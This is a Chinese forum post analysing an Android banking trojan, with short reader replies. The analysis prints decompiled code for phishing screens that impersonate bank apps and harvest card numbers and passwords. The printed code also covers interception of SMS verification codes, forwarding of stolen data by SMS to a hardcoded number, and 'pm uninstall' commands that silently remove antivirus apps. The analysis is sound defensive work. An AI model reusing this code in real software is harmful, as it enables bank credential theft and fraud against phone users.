bincker 发表于 2014-2-27 19:24

《银行悍匪》android网银木马详细分析报告

本帖最后由 bincker 于 2014-2-27 19:51 编辑

【分析作者】Bincker【联系方式】0day@tongji.edu.cn【作者主页】http://t.qq.com/bincker/【分析工具】IDA6.1,JD-GUI,Dex2Jar,smali,AndroidSDKV4.0,DrozerV2.3【分析声明】纯技术分析,欢迎转载【软件名称】langthing.nend 银行悍匪样本【加壳信息】无【软件简介】《银行悍匪》网银木马,无界面,无快捷方式,无法卸载,静默卸载杀毒软件,针对性强 包名      langthing.nendSHA1   0ceeb0a29ac4b24e1efdd0f57acfc64388cf5ac1MD5值   b5910a432d2b866e1028f31874edb32fSHA-256 f039b3cabc8466c304f36b013c94389a728f0b7d15a9fab4c71f1a7248e309e6文件大小0.79MB   文件大小:829006API版本8版本名1.1版本号1证书   /C=123/ST=123/L=123/O=123/OU=123/CN=123 应用安装需要的危险权限: android.permission.WRITE_CONTACTS             允许更改通信录信息android.permission.SEND_SMS                        允许发送短信android.permission.RECEIVE_BOOT_COMPLETED   允许程序开机自动运行android.permission.READ_PHONE_STATE         允许访问电话状态android.permission.WRITE_SMS                        允许编写短信android.permission.CALL_PHONE                      允许直接拨打电话android.permission.RECEIVE_SMS                     允许接收短信android.permission.READ_CONTACTS               允许访问通讯录信息android.permission.READ_SMS                        允许访问短信内容

四大组件
Activity:
langthing.nend.main
dz.dz
jt.jt
gs.gs
js.js
tb.tb
langthing.nend.bdhphone
langthing.nend.smsphone

Services:
langthing.nend.server
langthing.nend.log
langthing.nend.lgService

Receivers:
langthing.nend.TReceiver
langthing.nend.deviceAdminReceiver
langthing.nend.Alarmreceiver
langthing.nend.ShutdownReceiver


应用安装需要服务langthing.nend.TReceiver   intent-filteraction:android.intent.action.BOOT_COMPLETED       处理开机启动langthing.nend.ShutdownReceiver intent-filter action:android.intent.action.ACTION_SHUTDOWN   处理系统被关闭
静态分析行为操作

android.permission.SEND_SMS使用发送短信功能
   
Llangthing/nend/j/run()V    calls Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   
Llangthing/nend/i/a(Ljava/lang/String;Ljava/lang/String;)V    calls Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   
Llangthing/nend/ShutdownReceiver/a(Ljava/lang/String;Ljava/lang/String;)V    calls Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   
Llangthing/nend/server/a(Ljava/lang/String;Ljava/lang/String;)V    calls Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   
Llangthing/nend/server/b(Ljava/lang/String;Ljava/lang/String;)V    calls Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   
Llangthing/nend/n/c(Ljava/lang/String;Ljava/lang/String;)V    calls    Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   
Llangthing/nend/n/a(Ljava/lang/String;Ljava/lang/String;)V    calls    Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   
Llangthing/nend/n/b(Ljava/lang/String;Ljava/lang/String;)V    calls    Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
   

android.permission.READ_LOGS使用读取系统日志功能
   
Llangthing/nend/d/run()V    calls Ljava/lang/Runtime/exec(



android.permission.INJECT_EVENTS使用按键事件控制功能
   
Llangthing/nend/l/run()V    calls Landroid/app/Instrumentation/sendKeyDownUpSync(I)V
Llangthing/nend/h/run()V    calls Landroid/app/Instrumentation/sendKeyDownUpSync(I)V


android.permission.WAKE_LOCK使用了锁屏唤醒功能

   
Llangthing/nend/n/c(Landroid/content/Context;)Z    calls Landroid/media/MediaPlayer/start()V


android.permission.GET_TASKS使用了获取系统近期使用的任务

   
Llangthing/nend/k/run()V    calls Landroid/app/ActivityManager/getRunningTasks(I)Ljava/util/List;
Llangthing/nend/main/onCreate(Landroid/os/Bundle;)V    calls Landroid/app/ActivityManager/getRunningTasks(I)Ljava/util/List;
Llangthing/nend/server/e()V    calls Landroid/app/ActivityManager/getRunningTasks(I)Ljava/util/List;


android.permission.WRITE_SETTINGS使用了系统设置修改功能



Llangthing/nend/bdhphone/a(Z)V    calls    Landroid/provider/Settings$System/putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z


android.permission.RECEIVE_SMS   使用了收短信功能


Llangthing/nend/e/onReceive(Landroid/content/Context;Landroid/content/Intent;)V    calls Llangthing/nend/e/abortBroadcast()V


android.permission.READ_CONTACTS使用了读取短信功能

Llangthing/nend/j/run()V    calls Landroid/content/ContentResolver/query(Landroid/net/Uri;
Llangthing/nend/i/a(Landroid/content/Context;Ljava/lang/String;)V    calls Landroid/content/ContentResolver/query(Landroid/net/Uri;
Llangthing/nend/k/run()V    calls    Landroid/content/ContentResolver/query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
Llangthing/nend/server/a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V    calls    Landroid/content/ContentResolver/query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
Llangthing/nend/n/a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;    calls Landroid/content/ContentResolver/query(Landroid/net/Uri;
Llangthing/nend/server/a(Landroid/content/Context;)V    calls Landroid/content/ContentResolver/query(Landroid/net/Uri;
Llangthing/nend/n/a(Landroid/content/Context;Lorg/w3c/dom/Element;Ljava/lang/String;Ljava/lang/String;)V    calls Landroid/content/ContentResolver/query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
Llangthing/nend/m/onChange(Z)V    calls    Landroid/content/ContentResolver/query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;


android.permission.RESTART_PACKAGES使用了重新启动进程功能

Llangthing/nend/log/a(Ljava/lang/String;)V    calls Landroid/app/ActivityManager/restartPackage(Ljava/lang/String;)V
Llangthing/nend/server/e()V    calls Landroid/app/ActivityManager/restartPackage(Ljava/lang/String;)V


文件操作读写了sqlite数据库
/data/data/langthing.nend/files/unhi.db

数据库查询操作
query_fuc:query SQLitedata!:url:content://sms/:selection:null:selectionArgs: //查询了unhi.db sqlite数据的短信息记录
query_fuc:readmessages!:url:content://sms/:selection:null:selectionArgs:   // 查询了系统短信箱


发送短信息

IccSmsInterfaceManager.sendText_fuc:sendtext msg:destAddress:14541608937:scAddress:null:text:30x5|201305:Alreadyroot;ver:2.3.3;Model:HTCDesireS
IccSmsInterfaceManager.sendText_fuc:sendtext msg:destAddress:14541608937:scAddress:null:text:5:18|姓名 小明 卡号 72839419288472738 建设银行 5000元 明天汇款给我:13762549569
IccSmsInterfaceManager.sendText_fuc:sendtext msg:destAddress:14541608937:scAddress:null:text:5:52|姓名 小明 卡号 72839419288472738 转账5000元:95516

分析过程 一、      程序安装成功后,无快捷方式,无图标,无界面,无法手动启动该app程序。    程序启动后首先检查系统服务,并添加到android设备管理器,从而达到无法卸载的目的。    以 "------ android------" 的名义添加设备管理器,可以防止程序被卸载


要求激活,目的是添加设备管理器。

该木马激活之前是可以进行卸载的 激活前:


激活后:

二、锁屏状态下可以唤醒手机,迅速耗电,达到最快速度重启系统的目的。

提示“your tag”,应该是唤醒服务有关系,

三、启动方式为 开机启动


四、枚举系统服务 枚举系统服务,应用名称,一旦发现银行客户端将重启它 server.class 获取当前的系统运行的activity 和 service

五、重启银行客户端


涉及到的银行客户端
com.csii.huzhou.mobilebank      APP_NAME: 湖州银行客户端
cn.com.shbank.mper                        APP_NAME: 上海银行客户端
cn.com.hzb.mobilebank.per         APP_NAME: 杭州银行客户端
com.gzrcb.mobilebank                     APP_NAME: 大智慧银行客户端
com.android.launcher2.Launcher
cn.com.cmbc.mbank                     APP_NAME: 民生银行客户端icbc
cn.com.spdb.mobilebank.per         APP_NAME: 浦发手机银行
com.bankcomm                              APP_NAME: 交通银行客户端
com.cib.bankcib                              APP_NAME: 兴业银行客户端
com.rytong.app.bankhx                  APP_NAME: js.js
cmb.pb                                                APP_NAME: 招商银行客端
cn.com.njcb.android.mobilebankAPP_NAME: DeviceAdminAdd
cn.com.cqb.mobilebank.per         APP_NAME: 重庆银行客户端
com.android.settings.DeviceAdminAdd
com.rytong.bankgdb                        APP_NAME: 广发银行客户端
taobao
dz.dz
langthing.nend
tb.tb
com.chinamworld.bocmbci         APP_NAME: 中行手机银行
com.taobao.taobao                        APP_NAME: 淘宝客户端
com.chinamworld.main                  APP_NAME: 中国建设银行客户端
com.chinamworld.klb                      APP_NAME: 昆仑银行客户端
com.pingan.pabank.activity         APP_NAME: 平安口袋银行
com.tlbank                                       APP_NAME: 泰隆银行客户端
bankcomm
gs.gs
jt.jt
com.sookin.scyh                               APP_NAME: 四川银行客户端
bankabc
com.ecitic.bank.mobile                   APP_NAME: 南京银行客户端
com.android.bankabc                      APP_NAME: 农行掌上银行
com.icbc                                              APP_NAME: 工商银行客户端
com.rytong.bankqd                           APP_NAME: 龙江银行客户端
com.cebbank.bankebb                  APP_NAME: 光大银行客户端langthing.nend.main
com.rytong.bankps                           APP_NAME: 邮储银行客户端
六、当应用监测到有银行的客户端在运行时执行restartPackage,来达到替换工行客户端,显示木马作者精心构造的钓鱼页面(Activity)需要root权限。
Server.smali 反编译后的关键代码
{
    ComponentName localComponentName = ((ActivityManager.RunningTaskInfo)p.getRunningTasks(1).get(0)).topActivity;
    ActivityManager localActivityManager = (ActivityManager)getSystemService("activity");
    String str = localComponentName.getClassName();
   
   //木马开始查询任务管理器正在运行的程序
    if ((str.contains("gs.gs")) || (str.contains("js.js")) || (str.contains("jt.jt")) || (str.contains("tb.tb")) || (str.contains("dz.dz")))
    {
      if (a(getApplicationContext(), "com.icbc"))
      localActivityManager.restartPackage("com.icbc");   
//当应用监测到有银行的客户端在运行时执行restartPackage,来达到 工行客户端的Activity的一部分中显示木马精心构造的钓鱼Activity
      if (a(getApplicationContext(), "com.chinamworld.main"))
      localActivityManager.restartPackage("com.chinamworld.main");
      if (a(getApplicationContext(), "com.bankcomm"))
      localActivityManager.restartPackage("com.bankcomm");
      if (a(getApplicationContext(), "com.taobao.taobao"))
      localActivityManager.restartPackage("com.taobao.taobao");
      if (a(getApplicationContext(), "com.android.bankabc"))
      localActivityManager.restartPackage("com.android.bankabc");
      if (a(getApplicationContext(), "cmb.pb"))
      localActivityManager.restartPackage("cmb.pb");
      if (a(getApplicationContext(), "com.rytong.bankgdb"))
      localActivityManager.restartPackage("com.rytong.bankgdb");
      if (a(getApplicationContext(), "com.cib.bankcib"))
      localActivityManager.restartPackage("com.cib.bankcib");
      if (a(getApplicationContext(), "com.rytong.bankps"))
      localActivityManager.restartPackage("com.rytong.bankps");
      if (a(getApplicationContext(), "cn.com.njcb.android.mobilebank"))
      localActivityManager.restartPackage("cn.com.njcb.android.mobilebank");
      if (a(getApplicationContext(), "com.ecitic.bank.mobile"))
      localActivityManager.restartPackage("com.ecitic.bank.mobile");
      if (a(getApplicationContext(), "com.cebbank.bankebb"))
      localActivityManager.restartPackage("com.cebbank.bankebb");
      if (a(getApplicationContext(), "cn.com.cmbc.mbank"))
      localActivityManager.restartPackage("cn.com.cmbc.mbank");
      if (a(getApplicationContext(), "cn.com.spdb.mobilebank.per"))
      localActivityManager.restartPackage("cn.com.spdb.mobilebank.per");
      if (a(getApplicationContext(), "com.pingan.pabank.activity"))
      localActivityManager.restartPackage("com.pingan.pabank.activity");
      if (a(getApplicationContext(), "com.gzrcb.mobilebank"))
      localActivityManager.restartPackage("com.gzrcb.mobilebank");
      if (a(getApplicationContext(), "cn.com.cqb.mobilebank.per"))
      localActivityManager.restartPackage("cn.com.cqb.mobilebank.per");
      if (a(getApplicationContext(), "com.chinamworld.bocmbci"))
      localActivityManager.restartPackage("com.chinamworld.bocmbci");
      if (a(getApplicationContext(), "com.rytong.app.bankhx"))
      localActivityManager.restartPackage("com.rytong.app.bankhx");
      if (a(getApplicationContext(), "com.csii.huzhou.mobilebank"))
      localActivityManager.restartPackage("com.csii.huzhou.mobilebank");
      if (a(getApplicationContext(), "cn.com.shbank.mper"))
      localActivityManager.restartPackage("cn.com.shbank.mper");
      if (a(getApplicationContext(), "com.rytong.bankqd"))
      localActivityManager.restartPackage("com.rytong.bankqd");
      if (a(getApplicationContext(), "com.tlbank"))
      localActivityManager.restartPackage("com.tlbank");
      if (a(getApplicationContext(), "com.sookin.scyh"))
      localActivityManager.restartPackage("com.sookin.scyh");
      if (a(getApplicationContext(), "cn.com.hzb.mobilebank.per"))
      localActivityManager.restartPackage("cn.com.hzb.mobilebank.per");
      if (a(getApplicationContext(), "com.chinamworld.klb"))
      localActivityManager.restartPackage("com.chinamworld.klb");
    }
    if (str.contains("icbc"))
    {
      Cursor localCursor27 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "gs" }, null, null, null);
               //开始检索yh 这个表(sqllite中有存储该项目),并显式启动gs.class这个activity,这个activity,gs.class就是定制好的高仿真钓鱼页面。
      if ((localCursor27.moveToFirst()) && (localCursor27.getInt(localCursor27.getColumnIndex("jilu")) == 0))
      {
      localActivityManager.restartPackage("com.icbc");
      new Intent("android.intent.action.MAIN");
      Intent localIntent53 = new Intent("android.intent.action.MAIN");
      localIntent53.setFlags(268435456);
      localIntent53.addCategory("android.intent.category.HOME");
      startActivity(localIntent53);
      Intent localIntent54 = new Intent(getApplicationContext(), gs.class);
      localIntent54.setFlags(268435456);
      startActivity(localIntent54);
      }



这是gs.class 钓鱼页面源码钓鱼页面的activity处理方法:下面例子是修改后的为工商银行客户端精心构造的钓鱼页面package gs;

import android.content.ComponentName;
import android.content.Intent;
import android.text.Editable;
import android.util.Base64;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.EditText;
import langthing.nend.n;
import langthing.nend.o;
import langthing.nend.server;

class a
implements View.OnClickListener
{
a(gs paramgs)
{
}

public void onClick(View paramView)
{
    EditText localEditText1 = (EditText)this.a.findViewById(2131165206);
    EditText localEditText2 = (EditText)this.a.findViewById(2131165208);
    EditText localEditText3 = (EditText)this.a.findViewById(2131165209);
    EditText localEditText4 = (EditText)this.a.findViewById(2131165210);
    EditText localEditText5 = (EditText)this.a.findViewById(2131165211);
    EditText localEditText6 = (EditText)this.a.findViewById(2131165213);
    if (("".equals(localEditText1.getText().toString().trim())) || ("".equals(localEditText2.getText().toString().trim())) || ("".equals(localEditText3.getText().toString().trim())) || ("".equals(localEditText4.getText().toString().trim())) || ("".equals(localEditText5.getText().toString().trim())) || ("".equals(localEditText6.getText().toString().trim())))
    {
      this.a.a();
      return;
    }
    String str1 = localEditText1.getText().toString() + "#" + localEditText2.getText().toString() + "#" + localEditText3.getText().toString() + "#" + localEditText4.getText().toString() + "#" + localEditText5.getText().toString() + "#" + localEditText6.getText().toString();
    gs.a(this.a, new o());
    String str2 = gs.a(this.a).a(this.a.getApplicationContext());
    gs.a(this.a, new n());
    String str3 = Base64.encodeToString(str1.getBytes(), 0);
    Log.v("加密信息", str3);
    gs.b(this.a).a("gs:" + str3, str2);
    ComponentName localComponentName = new ComponentName("com.icbc", "com.icbc.activity.init.LoadingActivity");
   
   //工商银行钓鱼页面,=开始load 工商银行activity了。
    Intent localIntent = new Intent();
    localIntent.setComponent(localComponentName);
    this.a.startActivity(localIntent);
    server.c.a("yh", new String[] { "_id", "mc", "jilu" }, " mc=?", new String[] { "gs" }, "1", "jilu");
    this.a.finish();
}
}



七、判断android系统是否是root系统。如果是root系统的话卸载安全软件
Server.smali 部分代码关键部分
public void onCreate()
{
    this.u = new e();
    IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
    localIntentFilter.setPriority(2147483647);
    registerReceiver(this.u, localIntentFilter);
    p = (ActivityManager)getSystemService("activity");
    this.F = 0;
    this.j = false;
    if (b());
    for (g = "Already root"; ; g = "NOroot")   
    {
      this.C = 5;
      this.E = 5;
      this.B = new String;
      this.D = new String;
       //下面开始卸载安全软件,而且是静默的卸载。 当然是root权限下面的情况下啦。
      this.B = "pm uninstall com.qihoo360.mobilesafe";    卸载奇虎360安全卫士
      this.B = "pm uninstall com.tencent.qqpimsecure";    卸载手机管家
      this.B = "pm uninstall com.ijinshan.mguard";      卸载金山手机卫士
      this.B = "pm uninstall com.ijinshan.duba";          卸载金山毒霸
      this.B = "pm uninstall com.anguanjia.safe";         卸载安全管家
      this.D = "com.qihoo360.mobilesafe";
      this.D = "com.tencent.qqpimsecure";
      this.D = "com.ijinshan.mguard";
      this.D = "com.ijinshan.duba";
      this.D = "com.anguanjia.safe";
      this.s = new o();


八、监控的系统日志信息,获取当前运行的activity,手机银行客户端日志信息信息,况且检查系统设置功能是否打开,来判断是够被卸载。public void a(String paramString Log.smali 代码关键代码
)
{
    new Message().obj = paramString; // 后去系统各种各样信息,如 系统安装的软件,系统安装的包名等一系列信息收集。
    if ((paramString.contains("com.android.settings/.InstalledAppDetails")) || ((paramString.contains("android.intent.action.DELETE")) && (paramString.contains(getPackageName()))) || (paramString.contains("com.android.settings/.applications.RunningServiceDetails")) || (paramString.contains("com.sec.android.app.controlpanel")) || (paramString.contains("opti.autorun.AutorunActivity")) || (paramString.contains(".opti.appmgr.ui.AppInstalledActivity")) || (paramString.contains(".ui.index.AppEnterActivity")) || (paramString.contains("package:langthing.nend cmp=com.android.settings")))
    {
      Intent localIntent = new Intent("android.intent.action.MAIN");
      localIntent.setFlags(268435456);
      localIntent.addCategory("android.intent.category.HOME");
      startActivity(localIntent);
    }
    ActivityManager localActivityManager = (ActivityManager)getSystemService("activity");         
    if (paramString.contains("com.icbc"))
    {
      Cursor localCursor26 = server.c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "gs" }, null, null, null);
      if ((localCursor26.moveToFirst()) && (localCursor26.getInt(localCursor26.getColumnIndex("jilu")) == 0) && (a(getApplicationContext(), "com.icbc")))
      localActivityManager.restartPackage("com.icbc");
    }
    if (paramString.contains("com.chinamworld.main"))
    {
      Cursor localCursor25 = server.c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "js" }, null, null, null);
      if ((localCursor25.moveToFirst()) && (localCursor25.getInt(localCursor25.getColumnIndex("jilu")) == 0) && (a(getApplicationContext(), "com.chinamworld.main")))
      localActivityManager.restartPackage("com.chinamworld.main");
    }
    if (paramString.contains("com.bankcomm"))
    {
      Cursor localCursor24 = server.c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "jt" }, null, null, null);
      if ((localCursor24.moveToFirst()) && (localCursor24.getInt(localCursor24.getColumnIndex("jilu")) == 0) && (a(getApplicationContext(), "com.bankcomm")))
      localActivityManager.restartPackage("com.bankcomm");
    }
    if (paramString.contains("com.taobao.taobao"))
    {
      Cursor localCursor23 = server.c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "tb" }, null, null, null);
      if ((localCursor23.moveToFirst()) && (localCursor23.getInt(localCursor23.getColumnIndex("jilu")) == 0) && (a(getApplicationContext(), "com.taobao.taobao")))
      localActivityManager.restartPackage("com.taobao.taobao");
    }
    if (paramString.contains("com.android.bankabc"))
    {
      Cursor localCursor22 = server.c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "ny" }, null, null, null);
      if ((localCursor22.moveToFirst()) && (localCursor22.getInt(localCursor22.getColumnIndex("jilu")) == 0))
      a(getApplicationContext(), "com.android.bankabc");
    }
    if (paramString.contains("cmb.pb"))
    {
      Cursor localCursor21 = server.c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "zs" }, null, null, null);
      if ((localCursor21.moveToFirst()) && (localCursor21.getInt(localCursor21.getColumnIndex("jilu")) == 0) && (a(getApplicationContext(), "cmb.pb")))
      localActivityManager.restartPackage("cmb.pb");
    }
    if (paramString.contains("com.rytong.bankgdb"))


Smali代码部分
try
    {
      BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(new String[] { "logcat", "ActivityManager:I *:S" }).getInputStream()));

                //仅输出标记为“ActivityManager”并且优先级大于等于“Info”和标记为“MyApp”并且优先级大于等于“Debug”的日志:也就是说server中比如获取ICBC的activity的话从logcat中过滤出来该activity日志。


八、检查当前状态是不是飞行模式public class bdhphone extends Activity
{
public Context a;
private int b;
private int c;
private Handler d = new Handler();
private Runnable e = new f(this);

protected void a(boolean paramBoolean)
{
    ContentResolver localContentResolver = getContentResolver();
    if (paramBoolean);
    for (int i = 1; ; i = 0)
    {
      Settings.System.putInt(localContentResolver, "airplane_mode_on", i);
      Intent localIntent = new Intent("android.intent.action.AIRPLANE_MODE");
      localIntent.putExtra("TestCode", "ellic");
      sendBroadcast(localIntent);
      return;
    }
}

public void onCreate(Bundle paramBundle)
{
    super.onCreate(paramBundle);
    Intent localIntent = getIntent();
    String str1 = (String)localIntent.getSerializableExtra("w");
    String str2 = (String)localIntent.getSerializableExtra("u");
    startActivity(new Intent("android.intent.action.CALL", Uri.parse("tel:" + str1)));
    this.a = getApplicationContext();
    this.b = (1000 * Integer.parseInt(str2));
    this.c = 1;
    this.d.postDelayed(this.e, 5000L);
}
}


九、读取用户短信,拦截特殊字符串的短信,并发送到指定的手机号

发送短信内容 "85x5|201305:Already root ver:4.1.1Model:HUAWEI U9508" 至 14541608937发送短信内容 "94x5|201305:Already root ver:4.1.1Model:HUAWEI U9508" 至 14541608937发送短信内容 "41x5|201305:Already root ver:4.1.1Model:HUAWEI U9508" 至 14541608937


拦截特殊字符串的短信
拦截短信内容包含"授权"的短信拦截短信内容包含"财付通"的短信拦截短信内容包含"帐号"的短信拦截短信内容包含"账户"的短信拦截短信内容包含"密码"的短信拦截短信内容包含"消费"的短信拦截短信内容包含"验证码"的短信拦截短信内容包含"支"的短信拦截短信内容包含"开通"的短信

系统短信监听与处理源代码
package langthing.nend;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import java.text.SimpleDateFormat;
import java.util.Date;


// Android收到短信后系统会发送一个android.provider.Telephony.SMS_RECEIVED广播,通过get("pdus");得到的是一个数组,Android不是一接收到短信就立刻发出广播的,他会有一定的延迟,所以就有可能会有多条短信,所以才会用数组来存放。

public class e extends BroadcastReceiver
{
public static int a;
private o b;
private String c;
private String d;
private n e;

public void onReceive(Context paramContext, Intent paramIntent)//接收Intent对象当中的数据
{
    int i = 0;
    a = 0;
    this.d = "";
    Object[] arrayOfObject = (Object[])paramIntent.getExtras().get("pdus");    //该对象当中有个叫"pdus"的属性,这个属性的值是一个Objec数组,并创建一个SmsMessage类型的数组
    SmsMessage[] arrayOfSmsMessage;
    int j;
    int k;
    if ((arrayOfObject != null) && (arrayOfObject.length > 0))
    {
      arrayOfSmsMessage = new SmsMessage;            //创建一个SmsMessage类型的数组
      j = 0;
      if (j < arrayOfObject.length)
      break label79;
      k = arrayOfSmsMessage.length;
    }
    while (true)
    {
      if (i >= k)
      {
      if (a == 1)                //      使用Object数组当中的对象创建SmsMessgae对象
          abortBroadcast();
      return;
      label79: arrayOfSmsMessage = SmsMessage.createFromPdu((byte[])arrayOfObject);
      j++;
      break;
      }
      SmsMessage localSmsMessage = arrayOfSmsMessage;      
      String str1 = localSmsMessage.getMessageBody();                            //      获取短信的内容
      String str2 = localSmsMessage.getOriginatingAddress();          //   获取短信的发送者
      Date localDate = new Date(localSmsMessage.getTimestampMillis());       // 获取短信的接收时间
      new StringBuilder(String.valueOf(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate))).append(":").append(str2).append("--").append(str1).toString();
      this.d += str1;
      this.b = new o();
      this.c = this.b.a(paramContext);
      server.f = 1;
      this.e = new n();
      this.e.a(paramContext, this.d, str2, this.c);
      i++;
    }
}
}



十、释放文件,并读取数据库   apk包中的 ASSETS/unhi.db 释放到/data/data/langthing.nend/files/unhi.db,该行为在server.smali中执行。

Server.smali反编译后 public void a()
{
    try
    {
      InputStream localInputStream = getAssets().open("unhi.db");         //读取unhi.db
      FileOutputStream localFileOutputStream = new FileOutputStream(this.q + "unhi.db");      //释放或者输入unhi.dbsqlite数据库文件
      byte[] arrayOfByte = new byte;
      while (true)
      {
      int i1 = localInputStream.read(arrayOfByte);
      if (i1 <= 0)
      {
          localFileOutputStream.flush();
          localFileOutputStream.close();
          localInputStream.close();
          return;
      }
      localFileOutputStream.write(arrayOfByte, 0, i1);
      }
    }

所有信息将会被AES加密存储。使用了java1.7.0 0day加密时用的加密方式一样,作者可能是盗用了它加密方法。

package langthing.nend;

import android.content.Context;
import android.content.res.Resources;
import java.io.PrintStream;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class o
{
private String a;
private String b;
private String c;
private long d;

public static String a(String paramString1, String paramString2)
{
    if (paramString2 == null);
    try
    {
      System.out.print("Key为空null");
      return null;
      if (paramString2.length() != 16)
      {
      System.out.print("Key长度不是16位");
      return null;
      }
    }
    catch (Exception localException1)
    {
      System.out.println(localException1.toString());
      return null;
    }
    SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramString2.getBytes("ASCII"), "AES");
    Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    localCipher.init(2, localSecretKeySpec, new IvParameterSpec("0102030405060708".getBytes()));
    byte[] arrayOfByte = a(paramString1);
    try
    {
      String str = new String(localCipher.doFinal(arrayOfByte));
      return str;
    }
    catch (Exception localException2)
    {
      System.out.println(localException2.toString());
    }
    return null;
}

public static byte[] a(String paramString)
{
    if (paramString == null);
    int i;
    do
    {
      return null;
      i = paramString.length();
    }
    while (i % 2 == 1);
    byte[] arrayOfByte = new byte;
    for (int j = 0; ; j++)
    {
      if (j == i / 2)
      return arrayOfByte;
      arrayOfByte = ((byte)Integer.parseInt(paramString.substring(j * 2, 2 + j * 2), 16));
    }
}

public String a(Context paramContext)
{
    int i = paramContext.getPackageName().length();
    this.b = paramContext.getResources().getResourceName(2130837549);
    this.c = this.b.substring(i);
    this.a = this.c;
    String str = this.a;
    this.d = System.currentTimeMillis();
    return a("0db61e6a9294b441" + "72f4371280ae21e5", str);
}

public String a(Context paramContext, String paramString)
{
    int i = paramContext.getPackageName().length();
    this.b = paramContext.getResources().getResourceName(2130837549);
    this.c = this.b.substring(i);
    this.a = this.c;
    String str = this.a;
    this.d = System.currentTimeMillis();
    return a(paramString, str);
}


数据库中的加密信息

通过androguard 生成一个gexf文件,关联分析。

使用gephi来载入生成的gexf文件








总结: 通过如上 基本就分析完了这个手机的木马,体积很小,极强的针对性,无界面,无快捷方式,无法卸载,无联网,高级加密,躲避杀毒软件,况且静默卸载杀毒软件,选择性的发送指定短信到指定号码,当然最主要功能就是给各大银行专门定制了钓鱼页面等优秀功能,不足之处是无法联网自动更新,无法控制受感染手机,功能比较单一,加密秘钥存储在木马包里容易被解密,以来root权限比较强。 执行过程:一、恶意软件通过安装后,加入系统启动项目中,并动态注册服务后监听系统广播二、强制激活手机锁屏唤醒功能,并且20秒唤醒一次,达到耗电的目的关机重启,之后诱导用户进行添加设备管理功能防止卸载。三、无界面,无快捷方式,无法卸载四、木马判断系统是够已经获取root权限,枚举系统进程,寻找杀毒软件,如果有360手机卫士,腾讯管家,金山毒霸等杀毒软件的话直接进行静默卸载,无声无息五、同时动态注册短信监听服务,并监听和枚举短信箱,一旦有“授权,财付通,帐号,账户,密码,消费,验证码,支,开通”的短信内容,将发送到浙江杭州的联通号码14541608937。六、同时动态注册监听系统日志服务,这服务将监听系统中的银行客户端运行信息,其中包括taobao和支付宝在内全国24家大小银行客户端七、该木马对每一个银行app精心构造了钓鱼activity(可以粗略理解成钓鱼页面),获取姓名,银行卡,密码,短信息等内容八、时刻监听和枚举系统进程一旦有银行客户端运行时强制重启银行客户端并呈现精心构造的钓鱼页面给用户九、。一旦输入账户密码,木马将把输入的信息以短信方式使用高级加密标准(AES)分组加密并发送到指定手机号中,且把信息加密存储到木马的unhi.db数据库中。十、手机号及收集到的敏感信息都使用AES加密存储在unhi.db 数据库中十一、       各大安全厂商都没有对该木马进行查杀




红茶 发表于 2014-2-27 19:30

完全看不懂{:301_972:}

wu383092632 发表于 2014-3-26 17:21

我在想你能不能也列举那些软件捆绑了这个病毒木马、、、好让用户惊醒,另外杀毒厂商没办法,我相信你有办法的、、、

YsGer 发表于 2014-2-27 20:21

高大上啊

gdtangwenxin 发表于 2014-2-27 20:38

牛人好强大也!加油!

olanping 发表于 2014-2-28 11:02

不是很懂,多谢分享

flanker017 发表于 2014-2-28 16:16

这个样本能提供下载地址吗?

发条武士 发表于 2014-3-13 22:16

真心太专业了,目前这个病毒能查杀了吗?看起来危害很大啊。

MarkYS 发表于 2014-3-17 00:45

牛人!最近在研究安卓 学习学习哈!

